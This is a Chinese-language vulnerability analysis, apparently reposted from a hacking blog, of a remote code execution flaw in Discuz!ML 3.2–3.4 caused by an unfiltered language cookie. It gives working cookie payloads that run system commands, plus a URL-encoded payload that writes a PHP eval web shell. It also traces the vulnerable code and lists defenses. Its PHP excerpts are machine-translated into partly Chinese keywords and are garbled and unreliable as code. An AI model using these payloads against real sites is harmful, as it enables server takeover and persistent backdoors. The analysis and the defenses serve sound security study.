discuz ml RCE漏洞分析
0x00概述
7月11日,在网上发现discuz ml(多国语言版)出现RCE突破的消息,突破在于cookie的语言可控并且没有严格过滤,导致可以远程执行代码。
0x01影响范围
Discuz!ML v.3.4,
Discuz!ML v.3.2,
Discuz!ML v.3.3的codersclub.org产品
0x02进攻重现
http://xxx.org/discuzx/portal.php
选择英语或其他语言
让请求cookie包含xxxx_xxxx_language 再次
访问http://xxx.org/discuzx/portal.php
更改:4gH4_0df5_language = en..phpinfo()。
或
4gH4_0df5_language = zh-CN..system(’whoami && pwd’)。
壳
LSmZ_2132_language = ES '.file_put_contents%28%27xxxxxxx.php%27%2Curldecode%28%27%253c%253fphp%2520@eval%28%2524_%25%35%30%25%34%66%25%35%33 %25%35%34%255b%2522x%2522%255d%29%253b%253f%253e%27%29%29”。;
0x03检测工具
https://github.com/theLSA/discuz-ml-rce
0x04进攻分析
Discuz ml v3.4适用
dizcuz-ml-34 \ upload \ source \ module \ portal \ portal_index.php:32
include_once模板(’diy:portal / index’);
包含了模板函数渲染的文件
进入模板函数看看
dizcuz-ml-34 \ upload \ source \ function \ function_core.php:524
/ *投票* / $ cachefile = ' . / data / template / ' DISCUZ_LANG 。'_' 。(定义('STYLEID' ) STYLEID? 。'_' : '_' )。 $ templateid 。'_' 。str_replace ('/' ,'_' ,$ file )。'.tpl.php' ; 如果($ templateid != 1 && !file_exists ( DISCUZ_ROOT 。 !file_exists (SUBSTR ( DISCUZ_ROOT 。$ tplfile , 0 , - 4 )。'.PHP' ) && !file_exists ( DISCUZ_ROOT 。($ tplfile = $ tpldir 。$ filebak 。' 。htm ' ))) { $ tplfile = './template/default/' 。$ filebak 。'.htm' ; } if ($ gettplfile ) { 返回 $ tplfile; } checktplrefresh ($ tplfile , $ tplfile , @ filemtime ( DISCUZ_ROOT 。$ cachefile ), $ templateid , $ cachefile , $ tpldir , $ file ); 返回DISCUZ_ROOT 。$ cachefile ;
返回 看看缓存文件名
根据poc可知是语言可控,那就是DISCUZ_LANG可控了。
再看看在哪里赋值
dizcuz-ml-34 \ upload \ source \ class \ discuz \ discuz_application.php:304
//通过Cookie设置语言 if ($ this- > var [ 'cookie' ] [ 'language' ] ) { $ lng = strtolower ($ this- > var [ 'cookie' ] [ 'language' ] );
从cookie-language取值给$ lng
338
$ this- > var [ 'oldlanguage' ] = $ lng ; //存储旧语言值以进行比较 //定义DISCUZ_LANG define ('DISCUZ_LANG' , $ lng ); //将新语言设置为cookie dsetcookie ('language' , $ lng ); //设置新的语言变量 $这- >变种[ '语言' ] = $ LNG ;
$ lng赋值给了DISCUZ_LANG
根据poc
q3KZ_2132_language = sc’.system(’whoami’)。’;;
最终include_once’sc’.system(’whoami’).’_ 1_1_common_header_forum_index.tpl.php’;
包含重复引号已执行的代码。
/×
执行代码这部分存疑,参考https://www.anquanke.com/post/id/181887
×/
0x05防御方案
1.关注 https://bitbucket.org/vot/discuz.ml/commits/all
2.过滤特殊字符(串)如单引号,双引号,括号,点,系统,php,eval等
。3.禁止可控变量DISCUZ_LANG作为缓存文件名的一部分。
0x06结语
容易
收录!从部分代码来看貌似这个功能还不够完善……
dizcuz-ml-34 \ upload \ source \ function \ function_core.php:2089
如果($ _G [ 'config' ] [ '输出' ] [ '语言' ] == 'zh_cn' ) { 返回 'SC_UTF8' ; } elseif ($ _G [ 'config' ] [ '输出' ] [ '语言' ] == 'zh_tw' ) { 返回 'TC_UTF8' ; } else { //投票!!!待办事项:请检查其他语言版本!!!!!!!!!!!!!!!!!!!!!!!! DISCUZ_LANG ) 。 '_UTF8' ;
网站地址:https://www.hackzl.cn;发布者:hack之路,转转请注明出处:https://www.hackzl.cn/index.php/2020/12/15/discuz-ml-rce%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90/